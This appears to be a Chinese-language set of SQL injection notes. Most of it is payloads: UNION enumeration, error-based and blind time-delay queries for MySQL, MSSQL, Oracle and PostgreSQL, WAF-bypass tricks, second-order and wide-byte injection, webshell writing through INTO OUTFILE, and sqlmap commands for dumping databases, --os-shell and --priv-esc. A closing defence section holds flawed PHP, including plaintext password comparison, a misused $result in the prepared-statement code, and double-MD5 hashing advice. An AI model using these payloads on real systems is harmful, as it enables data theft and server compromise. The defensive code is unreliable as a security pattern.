MYSQL常规注入

union select 1,2,3 -- a//查看页面回显字段union select group_concat(distinct(table_schema)),'2','3' from information_schema.tables -- a//查数据库名一般在information_schema数据库下的tables表里找table_schema字段。其中distinct()是去重,group_concat()是将多个结果连接起来当做一个字符串。union select group_concat(distinct(table_name)),'2','3' from information_schema.tables where table_schema='mysql' -- a//查表名一般在information_schema数据库下的tables表里找table_name字段。union select group_concat(distinct(column_name)),'2','3' from information_schema.columns where table_schema='mysql' and table_name='user' -- a//查字段名在information_schema数据库下的colums表里找cloumn_name字段。库名和表名都在information_schema.tables里找:库名找table_schema表名找table_name字段名在information_schema.columns里找:字段名找column_name找表名要指定库,找字段名要指定库和表。

注意:

  1. 当返回字段有限时,union查询前面必须为,才会显示后面的查询结果。如:id=-1' union select '1' -- a

  2. and substr(password,1,1)='a' -- a去爆破的时候,最后是字符'a',而不能是a

  3. 所有的子查询都是要用()括起来。SELECT @@version这种也是子查询。

MSSQL常规注入

' union all select null,db_name(),null -- a//查看当前使用的数据库名注意,UNION 要求两个 SELECT 语句返回的列数和数据类型必须完全一致。它会尝试对两个结果集进行合并,并且如果列数、列名或者数据类型不匹配,就会报错。而UNION ALL 则简单地合并两个结果集,不考虑是否匹配,它只是简单地将两个结果连接在一起。因此可以避免不必要的报错。(mysql也支持,只是mssql更严格可能会报错)' union all select null,name,null from master..sysdatabases -- a//查询所有的数据库名,存储在master数据库的sysdatabases表中。注意,master..sysdatabases有两个小数点。' union all select null,concat(id,'~~~',name),null from db577539..sysobjects where xtype='U' -- a//查询db577539数据库的所有xtype='U'的表名,表名存储在对应数据库的sysobjects表中,每个表都有id和name。' union all select null,name,null from db577539..syscolumns where id=901578250 -- a//查询字段名,字段名存储在对应数据库的sysccolumns表中,要指定要查询的表id。' union all select null,concat(username,'~~~',password),null from demo -- a//查询结果,要指定刚刚的表名。

常见的绕过

绕过单引号双引号

1,关键字可以用%(只限IIS系列)。比如select,可以sel%e%ct 2,通杀的,内联注释,如/*!select*/3,编码,可两次编码4,multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF5,参数绕过,复制参数,id=1&id=16,组合法如and可以用&&再URL编码7、替换法,如and改成&&;=可以用like等

绕waf

and绕过

and ~1>1and hex(1)>-1and hex(1)>~1and -2<-1and (select 1)=(Select 0x1)//真,and 1=1and (select 1)=(Select 0xA*1000)//假,and 1=10*1000用&&替换and

注释换行绕过法

union all%23%0a selectunion %23%0aall selectunion-- 1%0a selectunion-- hex()%0a select%23%0a中间不能加字符否则会被拦截。

双写传参绕过法

相同的传参时,Apache总是默认解析最后一个。配合着/**/进行绕过。

http://192.168.59.129/Less-1/?id=-1' /*&id='union select 1,user(),3 -- +*/

information_schema的绕过

`information_schema`.schemata`information_schema`.`schemata`information_schema.`schemata`(information_schema.schemata)information_schema/**/.schemata

普通函数的绕过

如:hex(user/**/(/**/))

报错注入函数的绕过

/*!5000updatexml*/(1,1,1)/*!11440updatexml*/(1,1,1)/*!11441extractvalue*/(1, concat(0x5c, (SELECT @@version)))`updatexml`(1,(select @@version),1)总之,将报错函数用/*!*/或者``包括起来。

盲注绕过

延时绕过
and!!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)and!!!!1=1除了!还可以使用~&-当符号数量为偶数时为真,相当于一个空格,可以用来绕过and后不能使用数字或者字符。
布尔绕过
/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1

waf绕过总结

  1. 大小写混搭

  2. 穿插特殊字符,如:

    `updatexml`(updatexml)and!!!!1=1/**//*!50000*/
  3. 编码,base64,ascii,hex编码

  4. 等价函数替换,如:

    substr(version(),1,1)Substring(version(),1,1)Left(version(),1)
  5. 白名单绕过,X-Forwarded-For:127.0.0.1

  6. 容器特性

    iis特性

    1. 当传入的 s%e%l%e%c%t 函数被%分割时,解析出来还是select2. iis支持Unicode的解析 我们传入s%u0065lect解析为select

    apache特性

    &id=1&id=2 他只解析最后一个

    绕过时,可以进行组合尝试,如大小写+编码,大小写+特殊字符,大小写+编码+特殊字符,特殊字符+等价替换+编码…

不同数据库版本判断

MySQL:SELECT @@versionMicrosoft:SELECT @@versionOracle:SELECT banner FROM v$versionSELECT version FROM v$instancePostgreSQL:SELECT version()

不同数据库字符串长度函数

mysql:length()Microsoft:len()Oracle:length()PostgreSQL:length()

不同数据库的截断函数

MySQL: SUBSTRING('foobar', 4, 2) Microsoft: SUBSTRING('foobar', 4, 2)Oracle: SUBSTR('foobar', 4, 2)PostgreSQL: SUBSTRING('foobar', 4, 2)

不同数据库字符串连接符

MySQL: 'foo' 'bar'Microsoft: 'foo'+'bar'Oracle: 'foo'||'bar'PostgreSQL: 'foo'||'bar'

有回显的注入,数据库类型快速确定

不同数据库报错函数:

Microsoft

' and 1 = (SELECT @@version) -- a

PostgreSQL

' and 1=CAST((SELECT version()) AS int) -- a

MySQL

' and extractvalue(1, concat(0x5c, (SELECT @@version))) -- a

mysql常用报错注入函数:

**Oracle **

Oracle 数据库比较特殊,没有报错函数,但是有明显的dual特征:

SELECT '' FROM dual
  1. Oracle数据库查询的每一步都必须指定表名。而Oracle有一个内置表:dual,如果没有表名就用此表名代替。

    如:UNION SELECT '1','2' FROM dual才能查看注入点。而不是union select '1','2'

  2. 在 Oracle 上,您可以通过略有不同的查询来获取相同的信息。

    您可以通过查询列出表all_tables:

SELECT * FROM all_tables

您可以通过查询列出列all_tab_columns:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

如:

union select table_name,'2' from all_tables -- a, Oracle查询表名。从all_tables里查。

union select column_name,'2' from all_tab_columns where table_name='USERS_JBZQCR' -- a, 在all_tab_columns找字段名。

无回显的注入(盲注),数据库类型快速确定

延时盲注一般是新开一个语句,因此前面要用;分开。如果是在Cookie中这种本身就有;的地方。就需要进行url编码%3B,防止服务器错误处理。

不同数据库的延时函数:

Oracle

条件错误,看面返回状态码盲注:

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE '' END FROM dual如:SELECT CASE WHEN (length(table_name)>0) THEN TO_CHAR(1/0) ELSE '' END FROM all_tables WHERE ROWNUM = 1//WHERE ROWNUM = 1是取第一行,取第2行则使用WHERE rownum = 2查询逻辑等同于其他数据库的:select table_name from all_tables limit 1

延时盲注:

';SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

Microsoft

条件错误:

'and 1=CASE WHEN (len(db_name())>0) THEN 1/0 ELSE NULL END -- a看页面返回状态码盲注,注意,显示服务错误则是条件,返回200则是条件不成立。

延时盲注:

';IF (len(db_name())>0) WAITFOR DELAY '0:0:10'

PostgreSQL

条件错误,看页面返回状态码盲注:

1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)

延时盲注:

';SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END如:';SELECT CASE WHEN (length(username)>0) THEN pg_sleep(10) ELSE pg_sleep(0) END from users limit 1逻辑上相当于:select username from users limit 1

MySQL

条件错误:

' and IF(length(database())>0,(SELECT table_name FROM information_schema.tables),'a') -- a看页面返回状态码,注意,显示服务错误则是条件,返回200则是条件不成立。

延时盲注:

' and IF(length(database())>0,SLEEP(5),'a') -- a或者' ; select IF(length(database())>0,SLEEP(5),'a') -- a因为延时注入只要能体现延时即可,无关乎在不在一条语句里。

如果都不可以,则尝试XXE配合进行外带注入

SELECT EXTRACTVALUE(xmltype('<!DOCTYPE root [  %remote;]>'),'/l') FROM dual

二次注入

sql语句没有被转义直接存入数据库,然后在被读取查询(修改密码)而导致的一些问题。

二次注入在php种通常见于,插入时被addslashes()get_magic_quotes_gpc等等转义,但是写入数据库时还是使用原来的数据。常用于注册用户处测试。当注册用户名为admin';#,用hex16进制编码之后0x61646d696e273b23绕过了php的检测,但是但是写入数据库时还是使用原来的数据admin';#

如:

mysql> select * from users;+----+-----------+-------+| id | name| pass|+----+-----------+-------+|1 | admin | admin ||2 | admin';# | 11111 |+----+-----------+-------+4 rows in set (0.00 sec)

但是此时如果去修改用户密码。就会是:

update users set pass=新密码 where name='admin';#' and pass=旧密码;

此时虽然是admin';#去修改的密码,但是修改的却是admin的密码。

宽字节注入

  1. 有的网页利用函数如:addslashes()get_magic_quotes_gpc,将传参内的单引号双引号斜杠(\)会注释成字符,比如:

    '会被注释成\'"会被注释成\"\一样会被注释成\\
  2. 宽字节利用页面与服务器的编码方式不一样,比如id传参可以加上%df,让其与后面注释引号生成的\组合成新的字符,从而使后面的'逃逸出来。后面的步骤就可以用前面的方法了。

  3. 因为网页利用了魔术函数,所有单引号双引号里的东西都会被注释成字符,所以,在table_name=的后面,不能用名字查了,应该将字符转换为16进制比如:china_flag转换为6368696e615f666c6167,所以可以写成:table_name=0x6368696e615f666c6167

sql文件写入

1. 前提

show global variables like '%secure%';//可以查看是否有读取权限,可以修改其的值进行防止文件读取

2. 文件写入

select 1,"",3 into outfile "/opt/lamp/temp";//将一句话木马写入到目标服务器文件中。

条件:

1、知道web绝对路径

2、有文件写入权限(一般情况只有ROOT用户有)

3、数据库开启了secure_file_priv设置,然后就能用select into outfile写入webshell

联合注入写入:

?id=1' union select 1,"",3 into outfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#

dumpfile函数写入:

?id=1' union select 1,"",3 into dumpfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'#

lines terminated by 写入:

?id=1 into outfile 'C:/wamp64/www/shell.php' lines terminated by '';//lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

lines starting by 写入:

?id=1 into outfile 'C:/wamp64/www/shell.php' lines starting by '';//利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。

fields terminated by 写入:

?id=1 into outfile 'C:/wamp64/www/work/shell.php' fields terminated by '';//利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

columns terminated by 写入:

?id=1 into outfile 'C:/wamp64/www/shell.php' COLUMNS terminated by '';//利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

sqlmap写入:

写:(要写的文件,必须在kali本机里有)写入到 /tmp 目录下sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p 'username'--file-write="shell.php"--file-dest="/tmp/shell.php"

防御手段

  1. 预编译好sql语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入(数据库不会将参数的内容视为SQL命令执行,而是作为一个字段的属性值来处理),只能说一定程度上防止注入。

  2. 关闭应用的错误提示

  3. 过滤注入的关键字符

  4. 对输入进行过滤,限制输入长度

  5. 加waf

  6. 限制好数据库权限,drop/create/truncate等权限谨慎grant

  7. 数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5

举例

一. 面向过程连接数据库时

1.解决任意访问授权问题:

1.在公共文件中如: common.php 启用 session_start();让其他页面引用。开启session认证功能。2.在登录成功的页面里添加:include "common.php";if(!isset($_SESSION['islogin'])or $_SESSION['islogin'] != 'true'){//进行login的状态查询,如果为空,或者不为true。则阻值访问。die('你还没有登录');}3.在login.php中,登录成功后添加:if (mysqli_num_rows($result) == 1) {//如果查询到用户,则认为通过,开始设置session。$_SESSION['islogin'] = 'true';$user = mysqli_fetch_assoc($result);$_SESSION['username'] = $user['username'];}
  1. 解决sql语法冲突时,暴露敏感文件路径问题:

    $result = mysqli_query($conn, $sql) or die('sql语法错误。'); //此时如果sql语句有问题,则直接终止代码。
  2. 用户密码明文显示在数据库中的问题:

    //插入时,先将密码MD5加密//user表中的密码格式必须为32+的长度,便于md5形式保存
  3. 登录时的逻辑问题

    sql语句中不要同时传输用户名密码,先传用户名,等查询到有这个用户名信息之后再进行密码核对:$sql = "select * from user where username='$username'";//先查询用户名是否存在,即使用户名存在sql注入,也不会登陆成功$result = mysqli_query($conn, $sql) or die('sql语法错误。'); if (mysqli_num_rows($result) == 1) {//存在之后在核对密码$row = mysqli_fetch_assoc($result);if ($row['password'] == $password){echo "login-pass";$_SESSION['islogin'] = 'true';$user = mysqli_fetch_assoc($result);$_SESSION['username'] = $user['username'];echo "location.href='welcome.php'";}else{echo "login-fail";}}else {echo "login-fail";}
    1. 使用addslashes函数对用户名和密码进行反斜杠转义为普通字符

      $username = addslashes($_POST['username']);$password = addslashes($_POST['password']);
二. 面向过程连接数据库
  1. 面向过程连接数据库时,以上解决任意访问授权问题,解决sql语法冲突时,暴露敏感文件路径问题,用户密码明文显示在数据库中的问题也都可以继续使用。

$conn = connection_oop();//此connection_oop应该是定义好的面向对象连接数据库的函数。$sql = "select username,password from user where username=?";//?代表占位符,与bind_param里的变量绑定。$stmt = $conn->prepare($sql);//实例化一个预处理对象$stmt, prepare是mysqli预处理库里的预处理函数。执行sql语句。$stmt->bind_param("s",$username);//与前面sql语句里的?进行绑定,将接收到的传参传给?。s表示字符串,i表示整数,d表示小数,b表示二进制。如果是多个传参,如一个字符串一个整数,则为"is"与后面的参数一一对应。$stmt->bind_result($stmt_username,$stmt_password);//绑定预处理的输出的结果,这里的参数可以自定义名称,这里是上面sql语句的执行结果。$stmt->execute();//预处理的执行语句$stmt->store_result();//预处理将结果存起来,用于fetch(),num_rows()什么的。if ($stmt->num_rows == 1) {//预处理查询用户输入的用户名,看看是否存在。$stmt->fetch();if ($password == $stmt_password){//将用户输入的与预处理查到的进行比对。echo "login-pass";$_SESSION['islogin'] = 'true';$user = mysqli_fetch_assoc($result);$_SESSION['username'] = $user['username'];echo "location.href='welcome.php'";}else{echo "login-fail";}}else {echo "login-fail";}

SQLmap使用

有认证的地方记得要带上cookie。 –cookie

1. 进行注入测试:sqlmap -u "http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1" --level=2 //level等级从1到52. 获取所有数据库名:sqlmap -u "http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1" --dbs3. 获取当前使用的数据库名:sqlmap -u "http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1" --current-db4. 指定数据库名,--tables获取此数据库下的所有表名:sqlmap -u "http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1" -D "error" --tables5. 指定数据库和表,--columns获取此表下的列名:sqlmap -u "http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1" -D "error" -T "error_flag" --columns6. 知道数据库,表,列名,可以直接dump拖库:sqlmap -u "http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1" -D "error" -T "error_flag" -C "flag,id" --dump7. --is-dba查看当前用户是否是DBA(Database Administrator)数据库管理员:sqlmap -u "http://inject2b.lab.aqlab.cn/Pass-01/index.php?id=1" --dbms=mysql --is-dba//--dbms=mysql指定数据库为mysql了,就不会再去猜数据库类型。8. --batch能让sqlmap自动化进行。(中途需要选择时,不需要我们手动选择,他会选择默认选项。)如果是post传参的话,需要抓包保存成txt。然后将txt上传到kali有写入文件权限的文件夹里,让sqlmap去读取,并且用-p来指定post传参。 sqlmap -r ./111.txt -p adname --cookie 有认证的地方记得要带上cookie。 --delay=1//延时一秒--random-agent"参数来启用一个随机User-Agent--os-cmd,--os-shell都可以执行系统命令。--os-cmd可以单次执行系统命令,进行返回结果。如:--os-cmd='whoami'--os-shell可以尝试直接获取一个交互式的shell。--file-write="shell.php"--file-dest="/tmp/shell.php"第一个是shell文件,第二个是shell上传位置。--is-dba查看是否是管理员权限。--priv-esc权限提升